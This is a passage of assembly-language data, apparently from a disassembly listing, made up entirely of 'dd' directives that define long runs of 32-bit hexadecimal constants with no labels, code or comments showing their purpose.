0CE2FE881h, 0E87EBE85h, 0FBD3379Fh dd 54191A18h, 4D181045h, 5C0D10B4h, 7F44F567h, 0BABA6177h dd 88A48E03h, 7D2BBDBh, 0B4406A91h, 57DD8D63h, 523130D4h dd 0EA377EC5h, 0A3D289BEh, 956F041h, 768B3F8Ah, 0E3E3D1h dd 11B3F983h, 7455EC03h, 0AA0A3E81h, 60517E44h, 932FAE4Ah dd 49843EF1h, 0C360D074h, 312685FCh, 91C45CEEh, 0A3F35DFh dd 0AB667A20h, 0DCECC5DEh, 0E989B060h, 0A817222Ah, 0BDB6A0Ah dd 270C4228h, 9D449196h, 5B6D295Ch, 30F29D54h, 546EC582h dd 0A6F1DE2Ch, 0B8E782Eh, 0A0F3BEC8h, 0D5A8377Bh, 0ED9CBBA4h dd 20E3FF2Ah, 2EB2968Ch, 51866907h, 0DF2EA5A0h, 1338851Ah dd 4C70D635h, 4CFA4394h, 0E1440ED4h, 85298886h, 10CD0794h dd 0F7A2BA85h, 0D164C284h, 0E181A356h, 625F00E0h, 0C3398D94h dd 0A38AEA20h, 0DFE24D7Dh, 2C1E4411h, 57726523h, 0C385712h dd 0B22A6056h, 4106AA8h, 7A67A2BCh, 0F26ED7CAh, 0FF45C0C2h dd 0C411902Fh, 0EC5567ECh, 0F13357EAh, 0C736C833h, 36BF7711h dd 157C81F0h, 7C89B789h, 1F848BB1h, 0CE0F5F3Eh, 0C16CCB84h dd 4E4ED387h, 82163CA0h, 252F4516h, 0F0F5A815h, 0C3AF68E2h dd 0D47BD54Ch, 104CA5D3h, 0F0314460h, 0A0214C97h, 0C55AAF0h dd 0A213C5FCh, 9BF09B77h, 0DB0DBFBAh, 77C7D854h, 0F5ED062Ah dd 8C32BA14h, 578F6D1Dh, 5924EB22h, 469FFA29h, 0EC10C1C3h dd 0F955C5C9h, 0CA86AABDh, 3270585h, 9CCFB466h, 6C6DD7CCh dd 0E590AEDEh, 51F07A08h, 0C4EEFC6Bh, 0F8FA7C38h, 0AC507D72h dd 0DC8FA4Bh, 12FE9145h, 0D7FB8563h, 121D4921h, 572881E6h dd 0D8FF6F76h, 0FA19A87Eh, 0BF91CCFEh, 0F8A2CF02h, 58D9B015h dd 0B7CA7C17h, 0BEB7AACDh, 29838718h, 6FD110A2h, 0EABFFF40h dd 0DAFBD39Ch, 0B8D947D3h, 55105D2Ah, 0E750A02Eh, 89587EDh dd 0F6AF3E3Dh, 808B26EBh, 9AAFFAE0h, 0A25108C2h, 62935D20h dd 577A0A5Dh, 0E9119125h, 24B95033h, 0DF7E4D34h, 0D0592F47h dd 10286221h, 4D69E9A4h, 97590AAEh, 42264947h, 5DC1857h dd 7E4777A3h, 8EEF14C5h, 0B6D1457Ch, 0D5E484CFh, 2AE2687Dh dd 1DD28186h, 0BEC253BEh, 0BA9C0D83h, 0F9C80172h, 49CDAB84h dd 759052A7h, 687777B1h, 175054D8h, 0BBC77139h, 9E3F1DB6h dd 0D345DF24h, 9833FD77h, 977952AEh, 0D6FFB0C5h, 0AA38465Bh dd 0C3BF99C5h, 4D01FB9Eh, 73CAC499h, 4939CEDDh, 5779ABC5h dd 66FBA295h, 400202Ch, 895DC826h, 0A4C228F7h, 3043E05Fh dd 0CE8C986Ch, 86EB51FCh, 79097F47h, 0A209C45Dh, 66F81499h dd 0D01F51A7h, 805117CEh, 0C622E41Dh, 0F8E8B3B4h, 48C7BF3Bh dd 757BB441h, 4C5D6E62h, 0AB3613B0h, 3813C185h, 6E3BA889h dd 8BBEBE54h, 0BA0ABD46h, 0BA920232h, 0FB14B908h, 3A95777Ah dd 3398B2CEh, 0C4268879h, 78DA893Ch, 4C0D97D3h, 7902AF17h dd 0DBD96D72h, 8FA347A0h, 7F1FCC4Dh, 1652DE07h, 8F407678h dd 0C7718CC6h, 72220E09h, 231EDF63h, 42A9FAE0h, 0A7FF2E89h dd 720403C1h, 0E32988B2h, 26E18AF8h, 4C005701h, 677F6B89h dd 53EACA21h, 88763108h, 7508D540h, 6647103Bh, 0E8D3532Ah dd 6A27BA97h, 0DD4C2741h, 6BEF2A5Ch, 0BE794652h, 0A2C25352h dd 0A5568355h, 0AF2B8ECDh, 55C2D50Bh, 0C07CE48Bh, 0F84EED92h dd 9FE7EA4Ah, 17ECFC3Ah, 238FD9D1h, 35CE9456h, 0B6F1254Eh dd 57676AF8h, 5EBDAB3Eh, 1E11153Eh, 37790A87h, 0BA66456Eh dd 0F0B0374Ah, 56158648h, 61EBC74h, 0CB3A6F2h, 60DC9D6Dh dd 0D5E79F44h, 0D9DD9023h, 70585F29h, 4A5AE146h, 5E6BC6D3h dd 0A02A88D4h, 22CB49ACh, 7074575Eh, 75ADAC24h, 39DDA45h dd 9F16B476h, 94325E79h, 98CE1955h, 0E93A4EBBh, 432D2AA8h dd 0EB7AE023h, 8BB01746h, 0BCA321EBh, 380AE32Ah, 72B82F08h dd 0F11A4BBFh, 7F82084Fh, 0CD0EC319h, 0F6C3B462h, 0E0A6D0C5h dd 730567FEh, 55E165B7h, 0AA220091h, 91B6B4ABh, 0E4123C78h dd 6DC6161Fh, 3FDE6B24h, 0FCBCF461h, 0A5479E3Bh, 0EE8967C3h dd 0D9A4C3F8h, 0EFEE3EFh, 6BA4D640h, 7DFC46F9h, 261E3703h dd 0BA9140C6h, 39EB773Ah, 819368DBh, 60373C3Fh, 52857688h dd 14099051h, 5CBE5D2Bh, 1422D8C8h, 0CD01C70h, 47D5FEE0h dd 55CC2ADFh, 2EC809A5h, 6D61BC68h, 0C163329h, 82D37AA6h dd 7BA5449Bh, 0E80FC315h, 0FB418CEAh, 0A61F56DAh, 3A79550Fh dd 453F5155h, 76B45449h, 0A5F17141h, 0B4617118h, 0D945625Eh dd 4091188Fh, 756296BCh, 0FD76857Dh, 69893311h, 4338B773h dd 5A374794h, 0ADE2ABA4h, 410531E4h, 0F2B8E7BFh, 0C570A06h dd 3E05E079h, 0DF62705Dh, 0C0C27135h, 0E169F111h, 0E7266068h dd 0F77E9877h, 0F3AAB2Fh, 81487F14h, 93BE225h, 10B43E3Eh dd 0DDF07F03h, 0A8AF0275h, 0BCAF9601h, 751DB142h, 0C622BD67h dd 0A3A6331Ch, 0A812CB8Dh, 63907C5Ch, 0C77C7D00h, 60C6019Ch dd 0A212424Ch, 76FB8080h, 65636CC3h, 0DB87CA13h, 17AEEA71h dd 0F503DEC2h, 42178DE2h, 1DED2DD0h, 4AC9A0C5h, 0C5045671h dd 0E3BBA307h, 8DC5EB89h, 3F06C5A6h, 47D4B80Bh, 3B036580h dd 737532B1h, 0B225AC22h, 0ADCE861Eh, 353B7482h, 0F3AE7AE0h dd 0F19D44C0h, 60310763h, 94A07B4h, 0E7D12F8Bh, 5A4DDEABh dd 0F0954DEEh, 2BE1223Ah, 0E8548F98h, 0B2873D4Dh, 85655455h dd 30E895F0h, 3ABE7C18h, 8C449759h, 514602A9h, 0D2319E62h dd 1551117h, 0FB86499Fh, 9F7EBB31h, 56DB54EEh, 0C054E14Dh dd 738BE3BBh, 0E2106020h, 6F7DF9EFh, 0E846E517h, 217EAA78h dd 0EC572AD9h, 0BC630FDFh dd 0E96EE40Ch, 0E03F5Ah, 0E41012h, 6FAD0854h, 1D08900Eh dd 4B9B8D7Fh, 0B54C9F9Bh, 0B717C1CDh, 71BA9548h, 0A1E4C6C4h dd 6D0AA050h, 0AB8E49CCh, 6F7FA279h, 4AF8FEB1h, 31BEE022h dd 0FF4476A2h, 0BFC5BD59h, 14CD9ADBh, 7282834Eh, 0C5FADFAFh dd 0B22B4EFBh, 6D9F2813h, 4058CDE9h, 0C2FE2F9h, 77AD3F3Fh dd 0B83F26B1h, 0E65ADCA0h, 483F542h, 7730D54Bh, 74A8E089h dd 0B4490854h, 24C94993h, 9929BA53h, 6D125A24h, 65320A64h dd 0AB93C94h, 0D8081689h, 346FBAB5h, 0E1C412BEh, 0BA75A303h dd 0A4D6FAEBh, 602A77A2h, 2E230745h, 4F9D68BAh, 0E517EE4Ah dd 0BF0A501Fh, 6F06F4E7h, 0E9041FA7h, 0A739AF9Ch, 0D7D4BAD4h dd 2889D9E3h, 41C39811h, 8A50404Dh, 20537E1h, 0D09A5461h dd 625E0F5Fh, 0F7A051Fh, 0ABACBB86h, 7D1E1750h, 0BB7D2412h dd 0AD5DAFF7h, 7902554Ch, 0CB6468A9h, 334E4A86h, 3516EBh dd 0B0800B2Fh, 71124A58h, 204825Fh, 57412E99h, 23971EA2h dd 0E1FDF6E8h, 0E927597Ch, 7D80642Ah, 0FD7F7FFAh, 0E4627231h dd 7014ECB4h, 0CBBF962Bh, 98097F6h, 4FCC966Dh, 52DE61B5h dd 0E2D39D55h, 7B317FF3h, 0A9251A7Fh, 0D153342Ah, 2A210C07h dd 69CA5674h, 413CB8DAh, 417D8952h, 1D7E609Fh, 0C2FAEA45h dd 1907D2CFh, 3D700B78h, 0B0610DCCh, 39FC5B46h, 0D1464732h dd 635A5771h, 5AF803Fh, 1D4FF1B2h, 0EE42F154h, 0B9A9624Ah dd 25171A00h, 2715ABB9h, 7255772h, 2844394h, 47C67723h dd 795193ADh, 0C262E390h, 880339C3h, 17174520h, 0C6150F46h dd 2DD2FDF8h, 3D84FB5Bh, 577A7045h, 536B9D1Ah, 0D05D2DB8h dd 84635581h, 0A054231Fh, 8FCAC6F6h, 0F59308B9h, 1FD6254Dh dd 4B4C1054h, 0B9F68215h, 93CAF62Ah, 3686F2FEh, 2C436B3h dd 9C502BE8h, 11A7B6AEh, 0B95D0C4Fh, 0E2088Fh, 43836173h dd 4F8061E2h, 358FE825h, 0FD64D0FDh, 8D5F6B8h, 49DF107Ah dd 9D4D3ECCh, 0A4DD08A6h, 12AF5C2Ah, 0A43B2723h, 2BEB7962h dd 7745571h, 1C6A19D5h, 2BE0770h, 0D3FEDBECh, 0BA143DB5h dd 9BF1BBDFh, 29749EBAh, 0C9511BADh, 1DB89981h, 7497E514h dd 0B160AF8h, 0B7D6589Bh, 0EC1083D8h, 0A44A995Bh, 4D5901Bh dd 85AFD13Ch, 0D1384819h, 1ECD5C9Ah, 864A0493h, 9D74F4D1h dd 4F97B3CDh, 0FEF95D7Ah, 2AB02EA7h, 64258BA8h, 8A6C3B2Ah dd 0E3BFA3E9h, 0EBB68748h, 0B9A8C1ACh, 48EFF8F1h, 2B808A51h dd 0BA47F701h, 11659F11h, 879A9F76h, 207FE3ACh, 0F9DDA2FFh dd 0E77F7C0Fh, 75E1156Bh, 69FBD742h, 5DB782A7h, 772F05B5h dd 0D170ACF0h, 0AE1ABC6Ch, 7963E55Fh, 71D0B9h, 0D11F70DCh dd 2485777Bh, 8E4B51B9h, 0B561E0B4h, 5E5D4715h, 125622BFh dd 160CB1DEh, 8AAABDADh, 2EA05D08h, 4D2C983Ah, 6D1AC830h dd 0A8B936Ch, 25573150h, 0DD6D4550h, 48F9A8B1h, 5704A517h dd 81E3F735h, 51DA2259h, 0CCF13552h, 3F3EFFB6h, 0D6073BE9h dd 0DE923222h, 0D80C50Dh, 6D511EA0h, 3B1C4B7Ch, 0AAFF9C35h dd 82550895h, 0D4868DC1h, 0F3BE4DAFh, 0C6BE4AFBh, 0F2E5F5F7h dd 1FD09123h, 113E5002h, 644F0B7Eh, 65C3089Fh, 5D52928Eh dd 0B191685h, 4EEE7BA5h, 206C3827h, 0E9965680h, 7DB84155h dd 0DB83099Bh, 70D0115Fh, 338882C3h, 422A6933h, 697C8441h dd 69927AD3h, 0CDC6F94Eh, 6EB14882h, 0F801505Ah, 58C06A8Ah dd 58A51E01h, 0A310928h, 0E40959F5h, 91AD9B08h, 0F2FD557Bh dd 0E5D74597h, 67D23C9Fh, 6AAE86D2h, 0E05CAFCEh, 0FF858207h dd 0ED8FB126h, 0D525370Bh, 1D85D63h, 0FB2D1041h, 0E67ED34Dh dd 0BB5F0669h, 0F3987E23h, 0EB9B23B6h, 52E20DEAh, 0E14FE117h dd 0AD7F34BBh, 0FF6A3AA9h, 20A2E8Eh, 0E6CE8BAAh, 0FB521D30h dd 278CC0F2h, 975552C9h, 9B1E6C91h, 99C9A6A8h, 6D1A4D50h dd 0B1C36ACBh, 0FC67ABB3h, 92241D3h, 125258Ch, 5B9766h dd 1E472E85h, 4C5A4C15h, 1D9354A5h, 0BA7328BAh, 0A3039BABh dd 50370BECh, 0FB6573AFh, 0B718A0AFh, 9BE31264h, 55687C7Ch dd 57470473h, 2B87E915h, 318C7D2Ah, 50DD66FEh, 66151681h dd 4276EB34h, 0FCE474CEh, 9FFB89FAh, 0A4DC2F50h, 8FDABC10h dd 0BA472E32h, 94766908h, 60D21F26h, 0E23CFF97h, 0B7AEA6BFh dd 82BFAFCBh, 136E14C1h, 0F1DB4320h, 301712C1h, 0A1602837h dd 17255BE6h, 8B4DB65Dh, 0BAEDF25Dh, 88446200h, 5857779Eh dd 23EB8BEFh, 8A443BC8h, 0A0E94BCEh, 25396A6h, 0C5F73855h dd 127D1502h, 0CB7A47Ch, 7209999Fh, 7C82BA10h, 0C28585AAh dd 0F9ABF0EFh, 79384FBAh, 173EF5B5h, 6D73FBF4h, 429D899Fh dd 55730D0Bh, 893D204h, 0B4E20C75h, 3084E0BBh, 474A7E10h dd 0A9ADABEDh, 0F7CE5143h, 452A335Bh, 9448F366h, 0FFB8EE1Dh dd 7AFAF7FDh, 711B9488h, 1352CEB3h, 0EAABA585h, 5EFC9C92h dd 0A6099935h, 6B964C1Fh, 885562F8h, 0C8ACD8FBh, 0DC6B5D77h dd 0F01D5F61h, 0E0A8A1DEh, 0BA458313h, 0C50D1CE3h, 2B51F1A4h dd 7DC1A75Dh, 0FC8C5AD2h, 6BA49228h, 0C5395C4h, 72E2895Eh dd 0B050E8AAh, 0D1B7FB04h, 0F5C0C2D7h, 797C1BD0h, 0A4459D64h dd 36B6746Dh, 15C6D7A5h, 5AC4A353h, 2FC9EE58h, 749DEC09h dd 0D9F40954h, 4AF1CD9Dh, 6F52791Dh, 595663B1h, 116299EEh dd 7F08DA63h, 0EC36A85Fh, 662546EAh, 0A6B22ABEh, 0D4AAB112h dd 0ECAA8380h, 576AF98Eh, 21F83D20h, 75D13D83h, 0CBBA489Ah dd 0F04D3D6Ah, 458E4AA9h, 8FA8AD56h, 3206F17Dh, 6EF082B4h dd 0A6F292BCh, 0E13821AFh, 0FE2E8AE1h, 0B33468DEh, 0A81AA820h dd 5146A69Bh, 30772A41h, 0CBAE5843h, 2983F685h, 0D8488D8Eh dd 0F3F662ACh, 45FFD87Eh, 52F78BD0h, 0D33F39D4h, 12182089h dd 9BBBB56Fh, 8530956Ah, 2AA52799h, 74F4D1FDh, 0DC0BDFA9h dd 0FF10522Ch, 1167C639h, 3AE7ADBFh, 0DFFE84E8h, 9CAE9E87h dd 0AAF8C4E5h, 7A8E903Ch, 0D748235Dh, 31FB9ADh, 79035296h dd 0EFC6203Ch, 59E110A2h, 35912DD0h, 0DB213089h, 7B0BD27Fh dd 0D0D15C8h, 0D8BA2059h, 5612BC01h, 53C269ACh, 2DAA1A0Ah dd 0E03ED758h, 0DBE6BEBAh, 82174357h, 0C5DD62D2h, 0B73614D4h dd 0C80AACCBh, 0CEE8A6EBh, 0EB510F6Ah, 32173DEAh, 71DD5536h dd 2A3C5645h, 52A0BEF0h, 220218D4h, 0A2AAEB5h, 0D608E2B4h dd 0EDE29486h, 0BB18ABBCh, 1C8ABF6h, 6E866AFEh, 170122F9h dd 57A45FEFh, 0FED029D6h, 2D2C8EB8h, 38E04FF2h, 561E74C5h dd 880B193Ch, 0B7539D72h, 5C02122Eh, 0A30B1F52h, 22D755FEh dd 0C844BAE1h, 3596F547h, 0C3329426h, 85B88CE0h, 0C7B16735h dd 2AF6E109h, 0B479028Ah, 0F7AEE1D7h, 62D0B611h, 5A47EBACh dd 0F8394837h, 766417BCh, 8D6DB8AEh, 0ABB9E5DFh, 4D3A107Eh dd 0EF8E6D2Ch, 0E4E19964h, 6FB2557Fh, 9CEA7F9Eh, 7DFBBB93h dd 30ABE68Ah, 0BB920EE2h, 46FB4E22h, 3031CDE0h, 358C3B01h dd 5688ABB9h, 1585289Bh, 9980457Bh, 30F156ADh, 0CA2396F8h dd 3BE35761h, 0E1F855FAh, 0FB6EE670h, 2ED0CD63h, 1D835FC0h dd 3080A529h, 0AD0C585Bh, 0D8C7E2EFh, 1C0D7DE5h, 4577722Dh dd 486616E8h, 674EBFF1h, 8A4826ABh, 167DE96Fh, 0EBB03451h dd 4822C68Ah, 49A756C8h, 84CB36B1h, 4ECA68A2h, 41D738A2h dd 0E6C3AC9Ah, 7F7A7CCDh, 91C3C033h, 0FE055478h, 114C1BE5h dd 0ACCA3F7Bh, 557B6522h, 5596A1Eh, 7389B719h, 635E7ED1h dd 0EA461354h, 0CA42A02Ah dd 4F3FA8FFh, 16E3A32Eh, 571F8BFAh, 9E1FF2B7h, 5DD346C6h dd 0D1CD6076h, 0A6E8F167h, 5F06014Ah, 0BE4E1E8Ah, 83DA6ACEh dd 0F0BCED75h, 6A0E2898h, 321DF5D2h, 0ABADF74Bh, 0F02840C7h dd 921651A7h, 9046088h, 0FAA9CE3Ch, 9128E523h, 0CB37DFCAh dd 72EFEA17h, 2CDC1D0Ch, 2AA284DAh, 3D8ADBBAh, 8B430F4Fh dd 756DBB91h, 532D1842h, 0F60CB717h, 49B2B40Eh, 81250C97h dd 406BEC74h, 0C5F7575Ch, 1A858778h, 80CFF0F9h, 1415D556h dd 89CFA2A8h, 0A0317F71h, 0FED25E61h, 0E381D19Eh, 45EB9DF2h dd 0CF5F29AEh, 80E2D375h, 5770DBBDh, 8EF881FDh, 0F172FBBEh dd 8FA924E7h, 0F77E2B24h, 0B5018EB2h, 1C573FE4h, 8BA97F45h dd 2181F24Bh, 0BE6308B5h, 9D9EC1FFh, 939A955Dh, 0DD65F67Fh dd 8646296Dh, 72FA1716h, 0D2128D72h, 1C038E85h, 0D8FBD26Ah dd 3AF7C845h, 8224B3Bh, 6E75BBD1h, 2F31A77Fh, 0B4EB4BEBh dd 7F6A4FDBh, 71A457E6h, 0A551B627h, 2FC25F2Ah, 0E62252FEh dd 2CAFCD90h, 0E8822EF0h, 502E4D1h, 30956228h, 658C19FCh dd 726054ABh, 0ECCA9E77h, 0E3EFF05Ch, 5B22AB05h, 0BDB58068h dd 97FEEA67h, 7657C67Fh, 2A7EC60h, 6EC65151h, 4D3BE9FBh dd 345DF818h, 0BE6688B0h, 30BA0BABh, 0EC8BF933h, 2D086CB6h dd 0B2CDA8BAh, 0FA713A41h, 7F247791h, 47C418FCh, 5547DC7Dh dd 99027DF2h, 5EE668D3h, 8055E970h, 543C36B8h, 381EBA44h dd 0C8399CFh, 3381F1A0h, 8ED2F566h, 0C9FBC5FDh, 95D8A8DCh dd 2917B9C8h, 0A6576632h, 34F26819h, 0EABA655Bh, 0CBEC40F8h dd 30080971h, 7BD0205Ah, 0D4308667h, 94022BBh, 7BA4666Fh dd 0E8C2717Ch, 0B4934B83h, 43A2E321h, 0AE202BAEh, 0B4CA8437h dd 0B57D0975h, 0F591A258h, 0AAE24299h, 0ADA61A0Ah, 7E1EA28Fh dd 0B3309088h, 640530D2h, 49990A9Ch, 0A2802BA5h, 0B989C334h dd 2AF6BED2h, 4559BAFBh, 1DFD8886h, 0D06AF9C5h, 30E49474h dd 0C17C250Ah, 0C4B7AD45h, 0CF3DBFh, 0C31BF35h, 0C328BFC4h dd 0BB717C86h, 6DE42048h, 468F4A8Eh, 565776A6h, 0AB93089h dd 49D9F4BBh, 1A5AFFD0h, 18A4D615h, 8C8334D2h, 0D391329Dh dd 0E12A4B6Fh, 0A281087h, 7DD7AB54h, 4072701Ah, 7FD30C65h dd 0BFE0EBFCh, 436B327Fh, 0ACA62CEEh, 0EC721F67h, 35008C4Eh dd 0B186480Dh, 0B4646C64h, 12F2C055h, 0B3430939h, 4ACCD3BBh dd 0C07D97C4h, 0AE03F0Bh, 0D846EA62h, 56AECE2Fh, 0D7B0205Eh dd 66752B8Fh, 36AEB984h, 0BF2E2708h, 703A2811h, 0BE43E956h dd 9F566DEFh, 0D6751157h, 80692671h, 472330B9h, 0E82555C0h dd 1D76989Dh, 0C9B9048Fh, 0F1D54547h, 0BF50DDCBh, 0C2AE666Ah dd 14316300h, 0A0E20BC5h, 0A751597Bh, 0BAC42E06h, 7D41E4D4h dd 0A8909756h, 8B6CBDCFh, 0D9C0904Fh, 0A18FA8A2h, 1C61566Fh dd 0B8E55430h, 7FD50FBFh, 0E6C8F35h, 0D9419786h, 9FC82BADh dd 0EDF2E747h, 57833E57h, 0F9B367C9h, 0D1568845h, 1148C8ACh dd 7608AD26h, 870D0D06h, 0BD4237CFh, 0B59255D8h, 0FA8E5712h dd 838B4140h, 5834D657h, 0EE9726AAh, 96FFE174h, 2A0A3069h dd 38AF50AEh, 0D3B5AEDDh, 6A7DD623h, 6DDD791h, 60DA1263h dd 0C44160C6h, 97BF0930h, 217CA8C0h, 5619C5F6h, 2EC22C4Dh dd 0E760748Bh, 33F725A9h, 7A41B567h, 834BFCE1h, 0BE15C1C6h dd 0C7C628DEh, 0CEFE3B17h, 462AD34Eh, 2B403728h, 0F3021D88h dd 0EAB7A72Bh, 804E62F8h, 0EF45A28Dh, 356D1D3Eh, 5C912267h dd 6467256h, 0A1065908h, 80371087h, 0F324DC3Ah, 44690CBCh dd 911A0353h, 14446234h, 8C3B388Dh, 0B0486C86h, 7C3C1C2h dd 177753D7h, 0C006A9B6h, 3E8C95AFh, 0DDA7F34h, 222D27FEh dd 2A20E05Dh, 4BD00C7Ch, 6E521F8h, 2E81D5A7h, 0ACB7FFE8h dd 0D2FC0D06h, 0D5D919E8h, 0C233B75Bh, 0F4E0F14Ch, 0AACD72CBh dd 34BD5F41h, 4F7CAEA5h, 8E16B45Fh, 0CE0EAFCh, 55639436h dd 0E9ECC621h, 18D6AB4Ch, 5D189F09h, 0C46C01FEh, 3DDBDA1Fh dd 6A024255h, 9581B505h, 0AEAC0555h, 0AE3F9C23h, 90D76048h dd 0F2EAE6FEh, 685D31CDh, 0C8C0D8EDh, 1731FBADh, 0BD7263BBh dd 757F2B94h, 1765C382h, 0FE2BA18Eh, 313A89DCh, 4C9CA063h dd 0D72FD683h, 6D5A56Fh, 7E29DF50h, 872599B9h, 0B42F84C7h dd 2AEE60D4h, 0AB03C6CFh, 50C25D16h, 4C5F791Bh, 823E7D72h dd 144125D6h, 8EBAF4E5h, 253F805h, 0C05496BAh, 5DFA96Ah dd 4F4A08B8h, 280E9F25h, 2564D0D0h, 254C0EEEh, 0A6964129h dd 0B4679358h, 0E5EAB350h, 0E7AE324Bh, 2F48E2DFh, 9186E1Fh dd 31CEB117h, 0C9024C8Ch, 0F8AF1347h, 0CBE4F9F2h, 0E67DE676h dd 9D481F54h, 0A0DFB5DFh, 0C3A8B2ABh, 0F5853181h, 5F22ABDEh dd 0BFB1BB05h, 11E5C7DCh, 5054B708h, 8814CCB6h, 0F3BF5D6Ch dd 0D2D1A711h, 2BA67BA4h, 83B9ECC9h, 0C93B633Ah, 534E123Ah dd 669B2FA2h, 21592B90h, 15552E80h, 0A165BAF3h, 0CAE323D9h dd 0DFF9D674h, 926AF984h, 123CAAABh, 0C622EA5h, 573D6CCh dd 6ABCE3B5h, 0F8B98DBAh, 0D5631FB3h, 50B56B2Bh, 0BE4EEBA8h dd 1FC3D759h, 9DB7B05h, 7DEEF175h, 0F2BEB099h, 5D753E44h dd 5DED7AB5h, 0EE280BF1h, 0D528BB58h, 2CC4F55Eh, 47F1512Ch dd 0E0D48184h, 402AE595h, 2AFCE9ADh, 51B5E3h, 21C77A7Dh dd 5E76362h, 307AC06Ch, 0B268C0F2h, 0FC3C0924h, 7542C0C5h dd 52952115h, 6861655h, 2D1417F0h, 0EFD1212Bh, 0E5CAC2FFh dd 5CBBD55Dh, 6B42108Bh, 0BFBDEAF3h, 325DE8D3h, 0D840F3C7h dd 80E1C904h, 24CF7D7Fh, 4310DC45h, 0E1F8CDEAh, 3048A455h dd 92B44290h, 0FC0A3203h, 24AE4BA5h, 7EE061D0h, 83E7A497h dd 45037BE1h, 0D2BA9B13h, 0BACBC865h, 5573A738h, 462D6953h dd 45DAFB6Bh, 72EFF64Ch, 0F00B116Fh, 914DD99h, 0E235957Dh dd 522D57E4h, 9AE153B5h, 15D1180Ch, 0CEBEE24Ah, 0F9AE6DA1h dd 0D7975863h, 3D9DBE7h, 6FD4C7C3h, 0E943D97Fh, 7AC4862Ah dd 0E649745h, 0C66399DAh, 4162DD6Ch, 5A14EAE9h, 1CA2B569h dd 4747CB41h, 45567916h, 0D6BC55BEh, 0B6267AB8h, 77F36DC0h dd 4DEFBA7Eh, 0D0A1BF52h, 520826BEh, 38AF57CAh, 0C5465279h dd 0C3548424h, 8A0F3A57h, 558D56A1h, 10021217h, 5074DBD7h dd 0AF906FEAh, 24EA4FCBh, 0EA78B959h, 0F7C33214h, 88C5925Fh dd 0D1B846DBh, 0A0E22542h, 0CB72CA2Ah, 0D44F53A2h, 61B4A412h dd 0CA5AD77Ah, 1B37D227h, 695795F6h, 61CAD880h, 1819F1A6h dd 0C70C36D0h, 0D99E97C4h, 74C5D955h, 452E9632h, 22D5DD1Fh dd 37BA09B4h, 14203ACh, 0DFB15CDAh, 842648A7h, 507598Dh dd 67010FC1h, 33FFF534h, 9FFBF3D1h, 28547222h, 0A1D4580h dd 4AA94216h, 0D3687438h, 50CA83A0h, 35AE425Dh, 28D42F3Ch dd 2ACF1E90h, 38BED0A1h, 70178D03h, 0A18BF12Ah, 0D05147E7h dd 30D0369Ah, 0BF88DFE8h, 0A6BA122Ah, 2BE05856h, 28B7D12Ah dd 61685D3Dh, 5F6BA0B3h, 73E13D27h, 433A7963h, 0F4089253h dd 0F846F80Bh, 460CB99Ah, 68E1B0EBh, 5675CF32h, 804B2327h dd 0AFF72D15h, 29B87D1Ch, 0DE48172Ch, 28DF455Eh, 4BD744B1h dd 1B62FE8Eh, 5F4F2109h, 881E7DF6h, 0AEA5C1BEh, 557E2FF0h dd 5E75E1FCh, 38EAC561h, 688B7915h, 0A2A909B3h, 12A8EA76h dd 0CD02346h, 1F0C2BF8h, 86E8CFBBh, 59464A38h, 77ECDEA4h dd 8239D9C4h, 0DA9A3A3Ah, 0E25ABC0Ah, 98CE829Ch, 3E68FB8h dd 6F720EAh, 0AA20192Ch dd 9A86DC0Ch, 47D617DAh, 6BD1CF38h, 0A541845Ch, 164AAE8Bh dd 13A28D85h, 43303A73h, 5C488BAFh, 87432714h, 13987E77h dd 1814F5C8h, 0D28F9F45h, 0CA1730E0h, 0A28FAE61h, 8AF88FB5h dd 57D3BF36h, 7B458AB1h, 0B3D92D45h, 9F8F15F0h, 517A718Fh dd 0F916EBECh, 0B05308DFh, 61D942Eh, 61511DC3h, 52955E71h dd 3E88DF7Eh, 0EF8AFC18h, 92F20142h, 2E16ECAFh, 0FD57E79Eh dd 328FA8D0h, 4B1AB474h, 1F488AABh, 58BF2154h, 0CEB8C2A5h dd 4468E773h, 0FF74F890h, 9A508617h, 83E6338Dh, 0A1ED0403h dd 28EA8100h, 7FB9B7E3h, 0F5A8A092h, 70F87D65h, 12DFEBACh dd 74552A7Dh, 66596922h, 56888549h, 414D77B9h, 17AB7AE7h dd 0F0CACCBCh, 4F5CB0E9h, 4A0A391h, 0FE69771Bh, 82D031Fh dd 0C3FD85F8h, 0ECE9A370h, 0A3950C55h, 9547D3A1h, 5C99375Dh dd 0A406D21Ah, 4EADBA0Bh, 8F595D61h, 8F44ED9Dh, 0E284CAB2h dd 72D6061Eh, 9B10AD65h, 7E16056Fh, 1BA47535h, 2065BF10h dd 0E9B8AC05h, 0AFF3A2F7h, 0EB090E41h, 68E225D5h, 3EB54511h dd 30017829h, 3DEEE0D2h, 83819140h, 57E072D2h, 32422D01h dd 90711484h, 395E0269h, 0FC45ABB0h, 732057DEh, 14E00A53h dd 0FA457DD1h, 0F6E2C3F0h, 0B0442B25h, 0AE94C3FFh, 20E7BBD6h dd 3CA0EC5Fh, 9C97A693h, 880C68CAh, 8EFF8064h, 0CBF609C4h dd 0AA294B7Bh, 5341FAABh, 537A59A7h, 6C6239B9h, 45A5460Ah dd 63322D58h, 181088B7h, 0C52E9C2Ch, 5C8D21E8h, 44A49251h dd 9C148064h, 65143F0Bh, 4FAEEE06h, 6803C801h, 1E4CFA62h dd 0F31BD763h, 0FB9AC256h, 0B5DE4442h, 0AC63DB58h, 0E55FDB74h dd 0CC44711Dh, 1FB63C8Fh, 76B4F582h, 0C926C4F9h, 3AD0511h dd 74F4377Ah, 7A6C1205h, 97014000h, 5900A5D9h, 31A8D97Bh dd 98A63D28h, 8C484490h, 66382246h, 0A1861122h, 90539964h dd 8B7A3408h, 0F8961804h, 82553CFFh, 212AAAE5h, 0E30AC528h dd 0BC92168Ah, 0E0F726FAh, 39769CB6h, 0B700080Dh, 2C5271BDh dd 0AC098E0Dh, 0BE255524h, 48915D52h, 605594Bh, 4A08184Ch dd 5830032Ah, 0C0320190h, 0F44F0841h, 0F28B10BAh, 0AD123AFCh dd 80511262h, 2AB22C4Fh, 0CDA245FAh, 6DF28D64h, 0C2ECA2BFh dd 9F54BB8Bh, 64E67B84h, 11DADAA0h, 32220EFFh, 0F529053Fh dd 0EA20993Dh, 0FAEDB28Fh, 0C72F533Fh, 376BDC1Ch, 5C5D9F96h dd 48BA780Eh, 32721A11h, 92A50C0h, 222884BDh, 0BF3311B4h dd 353041D4h, 0C26A19h, 0C234C235h, 347034D0h, 40C2A0C2h dd 75DC234h, 1DF43410h, 654C76E8h, 0DDBF0FC3h, 0F77ECD89h dd 0A3B78AE4h, 6323348h, 0F92874BBh, 0E349AB73h, 5887A395h dd 0CBAA1DD9h, 86B4E32Ch, 0A277BDFh, 